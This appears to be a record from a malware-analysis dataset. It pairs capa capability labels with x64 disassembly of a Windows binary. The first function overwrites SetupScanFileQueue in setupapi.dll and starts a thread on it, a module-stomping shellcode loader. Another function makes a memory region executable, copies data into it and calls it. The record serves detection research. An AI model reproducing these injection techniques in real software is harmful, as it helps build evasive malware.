joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute command
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rdx, str.setupapi.dll
lea rcx, str.Load_module__s__n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.setupapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.DLL_Loaded
mov rbx, rax
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.SetupScanFileQueue
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
lea rcx, str.Found_function_at:_0x_llx_n
mov rbx, rax
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov edx, 0x2a4
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r10, rbx
lea rax, [0x140004040]
mov ecx, 5
nop dword [rax]
lea r10, [r10 + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [r10 - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [r10 - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [r10 - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [r10 - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [r10 - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [r10 - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [r10 - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [r10 - 0x10], xmm1
sub rcx, 1
jne 0x140001130
movups xmm0, xmmword [rax]
lea r8d, [rcx + 0x40]
mov edx, 0x2a4
mov rcx, rbx
movups xmmword [r10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r10 + 0x10], xmm1
mov r9d, dword [rax + 0x20]
mov dword [r10 + 0x20], r9d
lea r9, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.function_stomped_n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001230
add rsp, 0x40
pop rbx
ret

Function at 0x140001b04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b50
xor al, al
add rsp, 0x28
ret
Function at 0x140005a28
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005824
Function at 0x1400084a8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000852f
mov rsi, rbx
cmp word [rax], bp
je 0x1400084ee
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400084d8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400084d4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140008ec8
mov rdi, rax
test rax, rax
je 0x14000851c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400031d0
mov rbp, rdi
xor ecx, ecx
call fcn.14000716c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1400a7688]
xor rax, rsp
mov qword [rbp - 8], rax
lea rcx, str.secur32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.sspicli.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.IPHLPAPI.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.mswsock.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.bcryptprimitives.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 3
call fcn.1400019c0
call fcn.1400017c0
mov rbx, rax
test rax, rax
je 0x14000142d
xor edi, edi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], dil
lea r8d, [rdi + 0x3f]
lea rcx, [rbp - 0x30]
call fcn.1400014c0
nop
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], dil
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r8, qword [rbp - 0x30]
mov edx, 0x2712
mov rcx, rbx
call fcn.1400046f0
lea r8, [0x1400011c0]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.1400046f0
lea r8, [rbp - 0x50]
mov edx, 0x2711
mov rcx, rbx
call fcn.1400046f0
xor r8d, r8d
lea edx, [rdi + 0x40]
mov rcx, rbx
call fcn.1400046f0
xor r8d, r8d
lea edx, [rdi + 0x51]
mov rcx, rbx
call fcn.1400046f0
mov rcx, rbx
call fcn.140001830
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x10]
mov edx, 0x1000
lea r8d, [rdi + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
mov rcx, rbx
call fcn.14005f040
call rbx
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1400013e6
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001453
call fcn.14005d364
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000142d
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001428
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000144d
call fcn.14005d364
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14005d300
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.1400639dc
nop
call fcn.1400639dc
nop
int3
Function at 0x140016cd0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0xaa7], 0
mov rbp, r9
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
je 0x140016d99
cmp qword [rcx + 0x260], 0
je 0x140016d4e
mov qword [rsp + 0x40], rbx
call fcn.140004f00
mov dl, 1
mov rcx, rdi
movzx ebx, al
call fcn.140005250
mov rcx, qword [rdi + 0x1d8]
mov r9, rbp
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, rdi
mov edx, esi
call qword [rdi + 0x260]
movzx edx, bl
mov rcx, rdi
call fcn.140005250
mov rbx, qword [rsp + 0x40]
jmp 0x140016d99
mov ecx, esi
test edx, edx
je 0x140016d5e
sub ecx, 1
je 0x140016d5e
cmp ecx, 1
jne 0x140016d99
mov r9, qword [rdi + 0x1d0]
lea rax, [0x140084fe8]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call fcn.140064224
mov r9, qword [rdi + 0x1d0]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call fcn.140064224
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x140018b50
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call fcn.1400722a4
cdqe
add rsp, 0x28
ret
Function at 0x140018fe0
Capabilities:
Get common file path
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [0x1400a7688]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
test cl, 2
je 0x140019046
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140019029
movzx eax, word [rsp + 0x30]
cmp al, 2
jne 0x140019023
shr ax, 8
cmp al, 2
je 0x140019046
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14005d300
add rsp, 0x1e8
ret
call fcn.14004b7b0
test eax, eax
jne 0x140019260
mov qword [rsp + 0x200], rsi
lea rcx, str.kernel32
mov qword [rsp + 0x208], rdi
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140019086
mov qword [0x1400a84a8], rsi
jmp 0x14001921d
mov qword [rsp + 0x1f0], rbx
lea rdx, [0x140085248]
mov rcx, rdi
mov qword [rsp + 0x1f8], rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, str.iphlpapi.dll
mov rbp, rax
mov rcx, rbx
lea rdx, [0x140085258]
call fcn.1400666c0
test rax, rax
je 0x1400190ea
mov rcx, rbx
test rbp, rbp
je 0x1400190dc
xor edx, edx
lea r8d, [rdx + 8]
call rbp
mov rsi, rax
jmp 0x1400191dc
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
jmp 0x1400191dc
test rbp, rbp
je 0x140019119
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140019119
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call rbp
mov rsi, rax
jmp 0x1400191dc
xor edx, edx
mov qword [rsp + 0x1e0], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov r14d, eax
test eax, eax
je 0x1400191d4
lea ecx, [rax + 1]
lea rcx, [rcx*2 + 0x18]
call qword [section..data]
mov rdi, rax
test rax, rax
je 0x1400191cb
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1400191cb
mov rcx, 0xffffffffffffffff
mov rax, rcx
nop dword [rax]
cmp word [rdi + rax*2 + 2], si
lea rax, [rax + 1]
jne 0x140019170
mov dword [rdi + rax*2], 0x5c
cmp word [rdi + rcx*2 + 2], si
lea rcx, [rcx + 1]
jne 0x140019182
lea rdx, [rcx + rcx]
sub rdx, rbx
add rdx, rdi
nop word [rax + rax]
movzx eax, word [rbx]
mov word [rdx + rbx], ax
lea rbx, [rbx + 2]
test ax, ax
jne 0x1400191a0
mov rcx, rdi
test rbp, rbp
je 0x1400191c2
xor edx, edx
lea r8d, [rdx + 8]
call rbp
jmp 0x1400191c8
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
mov rcx, rdi
call qword [fcn.140063a5c]
mov r14, qword [rsp + 0x1e0]
mov rbp, qword [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1f0]
mov qword [0x1400a84a8], rsi
test rsi, rsi
je 0x14001921d
lea rdx, str.if_nametoindex
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400a84a0]
test rax, rax
cmovne rcx, rax
mov qword [0x1400a84a0], rcx
xor edx, edx
mov dword [rsp + 0x20], 3
mov r9d, 2
xor r8d, r8d
lea ecx, [rdx + 6]
call fcn.14004b360
test al, al
lea rcx, [0x1400a97c0]
setne byte [0x1400a97b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rdi, qword [rsp + 0x208]
xor eax, eax
mov rsi, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14005d300
add rsp, 0x1e8
ret
Function at 0x14001fd70
Capabilities:
Convert ip address from string

Disassembly:
cmp qword [rsp + 0x28], 0
mov qword [r9], 0
jge 0x14001fd85
mov eax, 0xfffffffe
ret
mov qword [rsp + 0x28], r9
mov r9b, 1
jmp fcn.14001f7f0
Function at 0x14002b780
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
movaps xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x30]
mov rdi, rdx
call fcn.14000abd0
mov rcx, rbx
movups xmm6, xmmword [rax]
call fcn.1400296a0
mov rcx, rdi
mov rsi, rax
call fcn.1400296a0
mov r8d, 1
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x14002b830
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm6
call fcn.14000abd0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
call fcn.14000ac60
cmp rax, 0x3e8
ja 0x14002b861
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x14002b7e0
test rsi, rsi
je 0x14002b83d
mov rcx, rsi
call fcn.140063a5c
test rbx, rbx
je 0x14002b84a
mov rcx, rbx
call fcn.140063a5c
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
test rsi, rsi
je 0x14002b86e
mov rcx, rsi
call fcn.140063a5c
test rbx, rbx
je 0x14002b87b
mov rcx, rbx
call fcn.140063a5c
mov eax, 1
jmp 0x14002b84c
Function at 0x14002bd00
Capabilities:
Resolve dns

Disassembly:
push rbp
push r12
push r13
push r15
sub rsp, 0x28
mov r13, r9
xor ebp, ebp
mov qword [r9], rbp
xor r15d, r15d
lea r9, [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x14002be9e
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rdi
mov rdi, qword [rsp + 0x68]
test rdi, rdi
je 0x14002be7e
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x20], r14
nop
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14002bd6e
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002bd60
inc rbx
jmp 0x14002bd70
xor ebx, ebx
mov eax, dword [rdi + 4]
cmp eax, 2
jne 0x14002bd7e
lea r14d, [rax + 0xe]
jmp 0x14002bd8b
cmp eax, 0x17
jne 0x14002be24
lea r14d, [rax + 5]
cmp qword [rdi + 0x20], 0
je 0x14002be24
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14002be24
cmp rax, r14
jb 0x14002be24
lea rcx, [rbx + 0x30]
add rcx, r14
call qword [section..data]
mov rsi, rax
test rax, rax
je 0x14002be33
mov ecx, dword [rdi]
mov r8, r14
mov dword [rax], ecx
mov ecx, dword [rdi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rdi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rdi + 0xc]
mov dword [rax + 0xc], ecx
lea rcx, [rsi + 0x30]
mov dword [rax + 0x10], r14d
xor eax, eax
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x20], rcx
mov rdx, qword [rdi + 0x20]
call fcn.14005f040
test rbx, rbx
je 0x14002be11
mov rcx, qword [rsi + 0x20]
mov r8, rbx
add rcx, r14
mov qword [rsi + 0x18], rcx
mov rdx, qword [rdi + 0x18]
call fcn.14005f040
test rbp, rbp
cmove rbp, rsi
test r15, r15
je 0x14002be21
mov qword [r15 + 0x28], rsi
mov r15, rsi
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x14002bd50
jmp 0x14002be39
mov r12d, 8
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x58]
test rcx, rcx
je 0x14002be53
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r12d, r12d
je 0x14002be79
test rbp, rbp
je 0x14002be75
nop dword [rax]
mov rbx, qword [rbp + 0x28]
mov rcx, rbp
call qword [fcn.140063a5c]
mov rbp, rbx
test rbx, rbx
jne 0x14002be60
xor ebp, ebp
jmp 0x14002be8d
test rbp, rbp
jne 0x14002be8d
mov r12d, 0x2af9
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov eax, r12d
mov rbx, qword [rsp + 0x50]
mov qword [r13], rbp
add rsp, 0x28
pop r15
pop r13
pop r12
pop rbp
ret
Function at 0x14002c3a0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, rdx
mov edx, 0x2b
mov rsi, r8
mov rbp, rcx
test r8, r8
je 0x14002c46b
xor r14d, r14d
nop dword [rax]
mov edi, 4
lea rdx, [rsp + 0x50]
cmp rsi, rdi
mov r8d, 4
mov rcx, rbp
cmovb rdi, rsi
call fcn.140010fe0
cmp eax, 4
jne 0x14002c41c
cmp byte [0x1400a84b4], r14b
jne 0x14002c428
lea r9d, [rax - 2]
mov dword [rsp + 0x50], r14d
mov r8d, eax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
mov edx, eax
test eax, eax
jne 0x14002c46d
mov eax, dword [rsp + 0x50]
jmp 0x14002c447
imul eax, dword [0x1400a84b0], 0x41c64e6d
mov edx, r14d
add eax, 0x3039
mov dword [0x1400a84b0], eax
rol eax, 0x10
mov dword [rsp + 0x50], eax
test rdi, rdi
je 0x14002c462
sub rsi, rdi
nop
mov byte [rbx], al
inc rbx
shr eax, 8
sub rdi, 1
jne 0x14002c450
mov dword [rsp + 0x50], eax
test rsi, rsi
jne 0x14002c3d0
mov eax, edx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x14002c480
Capabilities:
Generate random numbers via winapi

Disassembly:
mov r11, rsp
push rsi
push r12
push r14
push r15
sub rsp, 0xd8
mov rax, qword [0x1400a7688]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rax, r8
lea r15, [rsp + 0x30]
and rax, 0xfffffffffffffffe
mov r14, r8
mov rsi, rdx
mov r12, rcx
cmp rax, 0x100
jae 0x14002c62c
test r14b, 1
je 0x14002c62c
mov qword [r11 + 0x18], rbx
dec r14
mov qword [r11 - 0x28], rbp
mov ecx, 0x2b
mov qword [r11 - 0x30], rdi
mov rbp, r14
shr rbp, 1
lea rdi, [rsp + 0x30]
mov qword [r11 - 0x38], r13
je 0x14002c5ab
xor r13d, r13d
nop word [rax + rax]
mov ebx, 4
lea rdx, [rsp + 0x20]
cmp rbp, rbx
mov r8d, 4
mov rcx, r12
cmovb rbx, rbp
call fcn.140010fe0
cmp eax, 4
jne 0x14002c54c
cmp byte [0x1400a84b4], r13b
jne 0x14002c55c
lea r9d, [rax - 2]
mov dword [rsp + 0x20], r13d
mov r8d, eax
lea rdx, [rsp + 0x20]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
mov ecx, eax
test eax, eax
jne 0x14002c5ed
mov eax, dword [rsp + 0x20]
jmp 0x14002c57b
imul eax, dword [0x1400a84b0], 0x41c64e6d
mov ecx, r13d
add eax, 0x3039
mov dword [0x1400a84b0], eax
rol eax, 0x10
mov dword [rsp + 0x20], eax
test rbx, rbx
je 0x14002c5a2
sub rbp, rbx
nop dword [rax]
nop word [rax + rax]
mov byte [rdi], al
inc rdi
shr eax, 8
sub rbx, 1
jne 0x14002c590
mov dword [rsp + 0x20], eax
test rbp, rbp
jne 0x14002c500
mov eax, ecx
test ecx, ecx
jne 0x14002c5ed
test r14, r14
je 0x14002c5e8
lea rdx, [0x140089860]
nop dword [rax]
movzx ecx, byte [r15]
lea r15, [r15 + 1]
mov eax, ecx
and ecx, 0xf
shr rax, 4
movzx eax, byte [rax + rdx]
mov byte [rsi], al
movzx eax, byte [rcx + rdx]
mov byte [rsi + 1], al
add rsi, 2
sub r14, 2
jne 0x14002c5c0
mov byte [rsi], 0
xor eax, eax
mov rdi, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0x110]
mov r13, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14005d300
add rsp, 0xd8
pop r15
pop r14
pop r12
pop rsi
ret
mov eax, 0x2b
jmp 0x14002c60d
Function at 0x14002f440
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [case.0x140013090.0]
mov rdi, rax
test rax, rax
je 0x14002f4bd
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x14002f4e8
cmp ebx, esi
je 0x14002f4e8
cmp ebx, 0x8000
ja 0x14002f4e8
cmp ebx, esi
jb 0x14002f4e3
mov edx, ebx
mov rcx, rdi
call qword [case.0x140013090.0]
mov rdi, rax
test rax, rax
jne 0x14002f480
mov rcx, rbp
call qword [fcn.140063a5c]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x14002f4c8
mov rcx, rdi
jmp 0x14002f4c0

Function at 0x140030ca0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov byte [rsp + 0x38], 0xff
mov rcx, qword [rcx + 0x18]
mov edi, r8d
mov esi, edx
mov byte [rsp + 0x3a], dil
xor r9d, r9d
mov byte [rsp + 0x39], sil
lea rdx, [rsp + 0x38]
mov rcx, qword [rcx + 0x1a8]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140030cff
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbx
mov r8d, eax
call fcn.140016db0
mov r9d, edi
lea rdx, str.SENT
mov r8d, esi
mov rcx, rbx
call fcn.140030840
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140030ea0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140031049
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x1a0]
mov rsi, rcx
mov r15, qword [rcx + 0x18]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbp
lea rbx, [rdi + 0x1eb8]
mov qword [rsp + 0x58], r14
lea r14, [rdi + 0x1cb8]
mov qword [rbx], r14
cmp r14, rbx
jae 0x140030f07
lea rax, [r14 + 1]
mov byte [r14], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140030f07
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140030f07
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx ebp, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x140030f3d
mov byte [r9], bpl
inc qword [rbx]
mov r9, qword [rbx]
mov rbp, qword [rsp + 0x50]
cmp r9, rbx
jae 0x140030f93
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140030f93
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140030f93
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140030f93
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140030f93
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, r14
mov qword [rbx], r14
sub r9, 2
mov edx, 0x3e
mov rcx, rsi
call fcn.140030970
mov rcx, qword [r15 + 0x1a8]
xor r9d, r9d
mov rdx, r14
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140030ff5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rsi
mov r8d, eax
call fcn.140016db0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, rsi
call fcn.140030d30
mov rcx, qword [r15 + 0x1a8]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140031041
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rsi
mov r8d, eax
call fcn.140016db0
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret